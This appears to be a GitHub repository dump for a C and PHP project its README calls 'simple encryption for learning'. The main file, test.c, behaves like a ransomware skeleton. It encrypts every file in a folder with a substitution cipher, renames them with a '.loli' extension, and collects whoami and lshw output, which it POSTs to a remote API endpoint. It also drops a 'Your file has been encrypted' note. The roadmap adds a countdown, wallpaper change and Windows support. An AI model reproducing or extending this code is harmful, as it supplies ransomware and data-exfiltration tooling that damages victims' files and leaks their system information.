├── test_folder └── test.txt ├── win.PNG ├── imgs └── 1.jpg ├── Screenshot at 2021-12-12 08-26-54.png ├── Screenshot at 2022-01-09 06-36-51.png ├── api └── api.php ├── gen.php ├── README.md └── test.c /test_folder/test.txt: -------------------------------------------------------------------------------- 1 | aaavvvdd 2 | -------------------------------------------------------------------------------- /win.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jieyab89/Simple-encryption-with-C/HEAD/win.PNG -------------------------------------------------------------------------------- /imgs/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jieyab89/Simple-encryption-with-C/HEAD/imgs/1.jpg -------------------------------------------------------------------------------- /Screenshot at 2021-12-12 08-26-54.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jieyab89/Simple-encryption-with-C/HEAD/Screenshot at 2021-12-12 08-26-54.png -------------------------------------------------------------------------------- /Screenshot at 2022-01-09 06-36-51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Jieyab89/Simple-encryption-with-C/HEAD/Screenshot at 2022-01-09 06-36-51.png -------------------------------------------------------------------------------- /api/api.php: -------------------------------------------------------------------------------- 1 | $code, 35 | "message" => $msg 36 | ]); 37 | -------------------------------------------------------------------------------- /gen.php: -------------------------------------------------------------------------------- 1 | Zz"; 10 | $a = str_split($a); 11 | $a = array_unique($a); 12 | $b = $a; 13 | shuffle($b); 14 | $b = array_values($b); 15 | $a = array_values($a); 16 | $orig_b = $b; 17 | 18 | // Encrypt map 19 | foreach ($a as $k => $v) { 20 | if (in_array($v, ["'", "\\"])) { 21 | $v = "\\".$v; 22 | } 23 | if (in_array($b[$k], ["'", "\\"])) { 24 | $b[$k] = "\\'"; 25 | } 26 | echo "['{$v}'] = '{$b[$k]}',\n"; 27 | } 28 | echo "--------------------------------\n"; 29 | 30 | $b = $orig_b; 31 | // Decrypt map 32 | foreach ($b as $k => $v) { 33 | if (in_array($v, ["'", "\\"])) { 34 | $v = "\\".$v; 35 | } 36 | if (in_array($a[$k], ["'", "\\"])) { 37 | $a[$k] = "\\'"; 38 | } 39 | echo "['{$v}'] = '{$a[$k]}',\n"; 40 | } 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | Simple encryption using C and php, this project 100% not real ransomware. Just simple custom encryption for learning 4 | 5 | ## How to use 6 | 7 | ## Requirement 8 | 9 | 1. Install libcurl-dev 10 | 11 | > 12 | > sudo apt install curl 13 | > 14 | 15 | 2. Install lshw 16 | 17 | > 18 | > sudo apt-get install lshw 19 | > 20 | 21 | Getting system information, example in windows systeminfo 22 | 23 | ## Usage 24 | 25 | 1. Replace API_ENDPOINT with your own HTTP API endpoint 26 | > 27 | > #define API_ENDPOINT "your endpoint/api.php" 28 | 29 | 30 | 2. Compile 31 | 32 | > 33 | > gcc -o loli test.c -lcurl 34 | > 35 | 36 | 3. Creating folder "test_folder" 37 | 4. Run "php gen.php" 38 | 5. ./loli [option] 39 | 6. Enjoy 40 | 41 | ## Result 42 | 43 | ![Image](https://raw.githubusercontent.com/Jieyab89/Simple-encryption-with-C/master/Screenshot%20at%202021-12-12%2008-26-54.png) 44 | 45 | ## API result 46 | 47 | ![Image](https://github.com/Jieyab89/Simple-encryption-with-C/blob/master/Screenshot%20at%202022-01-09%2006-36-51.png) 48 | 49 | ## Coming soon support Windows machine 50 | 51 | ![Image](https://raw.githubusercontent.com/Jieyab89/Simple-encryption-with-C/master/win.PNG) 52 | 53 | ## Coming soon update 54 | 55 | 1. Change wallpaper 56 | 2. Add count down 57 | 3. Add keys 58 | 4. Support Windows 59 | 5. Anything 60 | -------------------------------------------------------------------------------- /test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | // Replace with your own API endpoint. 14 | // Tested on Rasbbery pi on my IoT Projects 15 | 16 | #define API_ENDPOINT "http://192.168.8.103/api.php" 17 | 18 | struct hw_info { 19 | char name[255]; 20 | char info[8192]; 21 | }; 22 | 23 | void send_hardware_info(struct hw_info *hw) 24 | { 25 | CURL *ch; 26 | char *esc; 27 | size_t len; 28 | CURLcode res; 29 | char *post_buffer = NULL; 30 | size_t capacity = 1024UL * 1024UL * 16UL; 31 | curl_global_init(CURL_GLOBAL_ALL); 32 | 33 | ch = curl_easy_init(); 34 | if (!ch) { 35 | printf("Curl error!\n"); 36 | return; 37 | } 38 | 39 | post_buffer = malloc(capacity); 40 | if (!post_buffer) 41 | goto out; 42 | 43 | esc = curl_easy_escape(ch, hw->name, strlen(hw->name)); 44 | if (!esc) 45 | goto out; 46 | len = (size_t) snprintf(post_buffer, capacity, "hw_name=%s&hw_info=", esc); 47 | curl_free(esc); 48 | 49 | esc = curl_easy_escape(ch, hw->info, strlen(hw->info)); 50 | if (!esc) 51 | goto out; 52 | snprintf(post_buffer + len, capacity - len, "%s", esc); 53 | curl_free(esc); 54 | 55 | curl_easy_setopt(ch, CURLOPT_URL, API_ENDPOINT); 56 | curl_easy_setopt(ch, CURLOPT_POSTFIELDS, post_buffer); 57 | res = curl_easy_perform(ch); 58 | 59 | if(res != CURLE_OK) 60 | fprintf(stderr, "curl_easy_perform() failed: %s\n", 61 | curl_easy_strerror(res)); 62 | out: 63 | if (ch) { 64 | curl_easy_cleanup(ch); 65 | } 66 | curl_global_cleanup(); 67 | free(post_buffer); 68 | putchar('\n'); 69 | } 70 | 71 | void get_hardware_info(struct hw_info *hw) 72 | { 73 | char *bp_hwinfo = hw->info; 74 | char *bp_hwinfo_end = &hw->info[sizeof(hw->info)] - 1; 75 | FILE *handle; 76 | size_t ret; 77 | 78 | handle = popen("whoami", "r"); 79 | if (!handle) 80 | return; 81 | ret = fread(hw->name, sizeof(char), sizeof(hw->name), handle); 82 | hw->name[sizeof(hw->name) - 1] = '\0'; 83 | hw->name[ret - 1] = '\0'; 84 | pclose(handle); 85 | 86 | bp_hwinfo += (size_t) snprintf(bp_hwinfo, sizeof(hw->info), 87 | "Generated by Lolicon encryption V2 ----\n"); 88 | 89 | handle = popen("lshw 2>&1", "r"); 90 | if (!handle) 91 | return; 92 | ret = fread(bp_hwinfo, sizeof(char), bp_hwinfo_end - bp_hwinfo, handle); 93 | hw->info[sizeof(hw->info) - 1] = '\0'; 94 | hw->info[ret - 1] = '\0'; 95 | pclose(handle); 96 | } 97 | 98 | 99 | static const unsigned char encrypt_map[0x100] = { 100 | ['1'] = ';', 101 | ['2'] = 'J', 102 | ['3'] = 'v', 103 | ['4'] = 'K', 104 | ['5'] = 'A', 105 | ['6'] = 'E', 106 | ['7'] = 'W', 107 | ['8'] = 'l', 108 | ['9'] = '0', 109 | ['0'] = '4', 110 | ['-'] = '+', 111 | ['='] = 'F', 112 | ['!'] = 'h', 113 | ['@'] = '}', 114 | ['#'] = ']', 115 | ['$'] = 'T', 116 | ['%'] = 'Y', 117 | ['^'] = 'o', 118 | ['&'] = 's', 119 | ['*'] = '%', 120 | ['('] = '!', 121 | [')'] = 'B', 122 | ['_'] = 'j', 123 | ['+'] = 'p', 124 | ['Q'] = 'w', 125 | ['W'] = 'u', 126 | ['E'] = 'b', 127 | ['R'] = 'D', 128 | ['T'] = '<', 129 | ['Y'] = '$', 130 | ['U'] = '#', 131 | ['I'] = '.', 132 | ['O'] = '8', 133 | ['P'] = 'q', 134 | ['['] = 'U', 135 | [']'] = '/', 136 | ['\\'] = 'M', 137 | ['q'] = 'G', 138 | ['w'] = '|', 139 | ['e'] = '&', 140 | ['r'] = 'c', 141 | ['t'] = 'd', 142 | ['y'] = '\'', 143 | ['u'] = 'z', 144 | ['i'] = '{', 145 | ['o'] = '6', 146 | ['p'] = 'g', 147 | ['{'] = ')', 148 | ['}'] = '7', 149 | ['|'] = 'k', 150 | ['a'] = '[', 151 | ['s'] = 'Q', 152 | ['d'] = '_', 153 | ['f'] = '3', 154 | ['g'] = 'x', 155 | ['h'] = 'X', 156 | ['j'] = 't', 157 | ['k'] = '>', 158 | ['l'] = '@', 159 | [';'] = 'm', 160 | ['\''] = '=', 161 | ['A'] = ',', 162 | ['S'] = '-', 163 | ['D'] = '\'', 164 | ['F'] = 'N', 165 | ['G'] = 'P', 166 | ['H'] = 'r', 167 | ['J'] = '(', 168 | ['K'] = 'n', 169 | ['L'] = '1', 170 | ['X'] = 'R', 171 | ['C'] = 'I', 172 | ['V'] = 'y', 173 | ['B'] = 'f', 174 | ['N'] = 'i', 175 | ['M'] = '2', 176 | [','] = '^', 177 | ['.'] = 'V', 178 | ['/'] = '5', 179 | ['x'] = '9', 180 | ['c'] = 'O', 181 | ['v'] = 'Z', 182 | ['b'] = 'H', 183 | ['n'] = 'S', 184 | ['m'] = 'e', 185 | ['<'] = '*', 186 | ['>'] = 'C', 187 | ['Z'] = 'a', 188 | ['z'] = 'L', 189 | }; 190 | 191 | static const unsigned char decrypt_map[] = { 192 | [';'] = '1', 193 | ['J'] = '2', 194 | ['v'] = '3', 195 | ['K'] = '4', 196 | ['A'] = '5', 197 | ['E'] = '6', 198 | ['W'] = '7', 199 | ['l'] = '8', 200 | ['0'] = '9', 201 | ['4'] = '0', 202 | ['+'] = '-', 203 | ['F'] = '=', 204 | ['h'] = '!', 205 | ['}'] = '@', 206 | [']'] = '#', 207 | ['T'] = '$', 208 | ['Y'] = '%', 209 | ['o'] = '^', 210 | ['s'] = '&', 211 | ['%'] = '*', 212 | ['!'] = '(', 213 | ['B'] = ')', 214 | ['j'] = '_', 215 | ['p'] = '+', 216 | ['w'] = 'Q', 217 | ['u'] = 'W', 218 | ['b'] = 'E', 219 | ['D'] = 'R', 220 | ['<'] = 'T', 221 | ['$'] = 'Y', 222 | ['#'] = 'U', 223 | ['.'] = 'I', 224 | ['8'] = 'O', 225 | ['q'] = 'P', 226 | ['U'] = '[', 227 | ['/'] = ']', 228 | ['M'] = '\'', 229 | ['G'] = 'q', 230 | ['|'] = 'w', 231 | ['&'] = 'e', 232 | ['c'] = 'r', 233 | ['d'] = 't', 234 | ['\\'] = 'y', 235 | ['z'] = 'u', 236 | ['{'] = 'i', 237 | ['6'] = 'o', 238 | ['g'] = 'p', 239 | [')'] = '{', 240 | ['7'] = '}', 241 | ['k'] = '|', 242 | ['['] = 'a', 243 | ['Q'] = 's', 244 | ['_'] = 'd', 245 | ['3'] = 'f', 246 | ['x'] = 'g', 247 | ['X'] = 'h', 248 | ['t'] = 'j', 249 | ['>'] = 'k', 250 | ['@'] = 'l', 251 | ['m'] = ';', 252 | ['='] = '\'', 253 | [','] = 'A', 254 | ['-'] = 'S', 255 | ['\''] = 'D', 256 | ['N'] = 'F', 257 | ['P'] = 'G', 258 | ['r'] = 'H', 259 | ['('] = 'J', 260 | ['n'] = 'K', 261 | ['1'] = 'L', 262 | ['R'] = 'X', 263 | ['I'] = 'C', 264 | ['y'] = 'V', 265 | ['f'] = 'B', 266 | ['i'] = 'N', 267 | ['2'] = 'M', 268 | ['^'] = ',', 269 | ['V'] = '.', 270 | ['5'] = '/', 271 | ['9'] = 'x', 272 | ['O'] = 'c', 273 | ['Z'] = 'v', 274 | ['H'] = 'b', 275 | ['S'] = 'n', 276 | ['e'] = 'm', 277 | ['*'] = '<', 278 | ['C'] = '>', 279 | ['a'] = 'Z', 280 | ['L'] = 'z', 281 | }; 282 | 283 | static void encrypt_buffer(unsigned char *map, size_t len) 284 | { 285 | for (size_t i = 0; i < len; i++) { 286 | unsigned char c = encrypt_map[(size_t)map[i]]; 287 | if (!c) 288 | continue; 289 | map[i] = c; 290 | } 291 | } 292 | 293 | static int encrypt_file(const char *file) 294 | { 295 | int fd; 296 | int ret; 297 | unsigned char *map; 298 | size_t file_size; 299 | struct stat statbuf; 300 | 301 | //printf("\n\n"); 302 | printf("Encrypting file %s ...\n", file); 303 | 304 | fd = open(file, O_RDWR); 305 | if (fd < 0) { 306 | perror("open"); 307 | return 1; 308 | } 309 | 310 | ret = fstat(fd, &statbuf); 311 | if (ret < 0) { 312 | perror("fstat"); 313 | close(fd); 314 | return 1; 315 | } 316 | 317 | file_size = (size_t) statbuf.st_size; 318 | 319 | map = mmap(NULL, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 320 | if (map == MAP_FAILED) { 321 | perror("mmap"); 322 | close(fd); 323 | return 1; 324 | } 325 | 326 | encrypt_buffer(map, file_size); 327 | msync(map, file_size, MS_ASYNC); 328 | munmap(map, statbuf.st_size); 329 | return 0; 330 | } 331 | 332 | static int encrypt_files(const char *folder) 333 | { 334 | int ret = 0; 335 | DIR *dirp; 336 | char fullpath[8192]; 337 | char newpath[8192 + sizeof(".loli")]; 338 | 339 | dirp = opendir(folder); 340 | if (!dirp) { 341 | perror("opendir"); 342 | return 1; 343 | } 344 | 345 | printf("\n\n"); 346 | printf("=============================================\n"); 347 | while (1) { 348 | const char *file; 349 | struct dirent *dir; 350 | 351 | dir = readdir(dirp); 352 | if (!dir) 353 | break; 354 | 355 | file = dir->d_name; 356 | if (!strcmp(file, ".") || !strcmp(file, "..")) 357 | continue; 358 | 359 | snprintf(fullpath, sizeof(fullpath), "%s/%s", folder, file); 360 | ret = encrypt_file(fullpath); 361 | if (ret) 362 | break; 363 | 364 | snprintf(newpath, sizeof(newpath), "%s.loli", fullpath); 365 | rename(fullpath, newpath); 366 | } 367 | 368 | closedir(dirp); 369 | printf("=============================================\n"); 370 | return ret; 371 | } 372 | 373 | static int encrypt_folder(void) 374 | { 375 | char folder[1024]; 376 | size_t len; 377 | 378 | printf("Enter the folder name to be encrypted: "); 379 | if (!fgets(folder, sizeof(folder), stdin)) { 380 | puts("stdin closed!"); 381 | return 1; 382 | } 383 | 384 | len = strlen(folder); 385 | 386 | if (folder[len - 1] == '\n') { 387 | folder[len - 1] = '\0'; 388 | } 389 | 390 | return encrypt_files(folder); 391 | } 392 | 393 | static void decrypt_buffer(unsigned char *map, size_t len) 394 | { 395 | for (size_t i = 0; i < len; i++) { 396 | unsigned char c = decrypt_map[(size_t)map[i]]; 397 | if (!c) 398 | continue; 399 | map[i] = c; 400 | } 401 | } 402 | 403 | static int decrypt_file(const char *file) 404 | { 405 | int fd; 406 | int ret; 407 | unsigned char *map; 408 | size_t file_size; 409 | struct stat statbuf; 410 | 411 | printf("Decrypting file %s ...\n", file); 412 | 413 | fd = open(file, O_RDWR); 414 | if (fd < 0) { 415 | perror("open"); 416 | return 1; 417 | } 418 | 419 | ret = fstat(fd, &statbuf); 420 | if (ret < 0) { 421 | perror("fstat"); 422 | close(fd); 423 | return 1; 424 | } 425 | 426 | file_size = (size_t) statbuf.st_size; 427 | 428 | map = mmap(NULL, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 429 | if (map == MAP_FAILED) { 430 | perror("mmap"); 431 | close(fd); 432 | return 1; 433 | } 434 | 435 | decrypt_buffer(map, file_size); 436 | msync(map, file_size, MS_ASYNC); 437 | munmap(map, statbuf.st_size); 438 | return 0; 439 | } 440 | 441 | static int decrypt_files(const char *folder) 442 | { 443 | int ret = 0; 444 | DIR *dirp; 445 | char fullpath[8192 + sizeof(".loli")]; 446 | char newpath[8192]; 447 | 448 | dirp = opendir(folder); 449 | if (!dirp) { 450 | perror("opendir"); 451 | return 1; 452 | } 453 | 454 | while (1) { 455 | size_t len; 456 | const char *file; 457 | struct dirent *dir; 458 | 459 | dir = readdir(dirp); 460 | if (!dir) 461 | break; 462 | 463 | file = dir->d_name; 464 | if (!strcmp(file, ".") || !strcmp(file, "..")) 465 | continue; 466 | 467 | snprintf(fullpath, sizeof(fullpath), "%s/%s", folder, file); 468 | ret = decrypt_file(fullpath); 469 | if (ret) 470 | break; 471 | 472 | len = strlen(fullpath); 473 | memcpy(newpath, fullpath, len - 5); 474 | newpath[len - 4] = '\0'; 475 | printf("%s\n", newpath); 476 | rename(fullpath, newpath); 477 | } 478 | 479 | closedir(dirp); 480 | return ret; 481 | } 482 | 483 | static int decrypt_folder(void) 484 | { 485 | char folder[1024]; 486 | size_t len; 487 | 488 | printf("Enter the folder name to be decrypted: "); 489 | if (!fgets(folder, sizeof(folder), stdin)) { 490 | puts("stdin closed!"); 491 | return 1; 492 | } 493 | 494 | len = strlen(folder); 495 | 496 | if (folder[len - 1] == '\n') { 497 | folder[len - 1] = '\0'; 498 | } 499 | 500 | return decrypt_files(folder); 501 | } 502 | 503 | int main(int argc, char *argv[]) 504 | { 505 | FILE * file; 506 | int exit_code = 0; 507 | char text[255]; 508 | FILE *name; 509 | char path[255]; 510 | FILE *dir; 511 | FILE *distro; 512 | char buffer[255]; 513 | distro = popen("cat /etc/os-release", "r"); 514 | fgets(buffer, sizeof(buffer), distro); 515 | dir = popen("pwd", "r"); 516 | fgets(path, sizeof(path), dir); 517 | name = popen("whoami", "r"); 518 | fgets(text, sizeof(text), name); 519 | 520 | buffer[strlen(buffer) - 1] = '\0'; 521 | 522 | printf("\n"); 523 | printf("Name : %s \n", text); 524 | printf("Path : %s \n", path); 525 | #ifdef _WIN32 526 | printf("Systems : Windows32\n"); 527 | #endif 528 | #ifdef _WIN64 529 | printf("Systems : Windows32\n"); 530 | #endif 531 | #ifdef __linux__ 532 | printf("Systems : Linux %s Based\n", buffer); 533 | #else 534 | printf("Can't detect OS\n"); 535 | #endif 536 | 537 | if (argc == 1) { 538 | printf("\n"); 539 | printf("Usage:\n"); 540 | printf("./loli [option]\n\n"); 541 | printf("[+] OPTION\n"); 542 | printf("%s [encrypt|decrypt]\n\n", argv[0]); 543 | printf("Example : ./loli encrypt\n"); 544 | return 0; 545 | } 546 | 547 | if (!strcmp(argv[1], "encrypt")) { 548 | exit_code = encrypt_folder(); 549 | 550 | struct hw_info hw; 551 | get_hardware_info(&hw); 552 | send_hardware_info(&hw); 553 | 554 | file = fopen ("README.txt", "w"); 555 | 556 | if (!file) 557 | { 558 | printf("File has been created\n"); 559 | } 560 | 561 | else 562 | { 563 | fputs("Your file has been encrypted", file); 564 | fclose(file); 565 | } 566 | } 567 | 568 | else if (!strcmp(argv[1], "decrypt")) { 569 | exit_code = decrypt_folder(); 570 | } 571 | 572 | return exit_code; 573 | } 574 | --------------------------------------------------------------------------------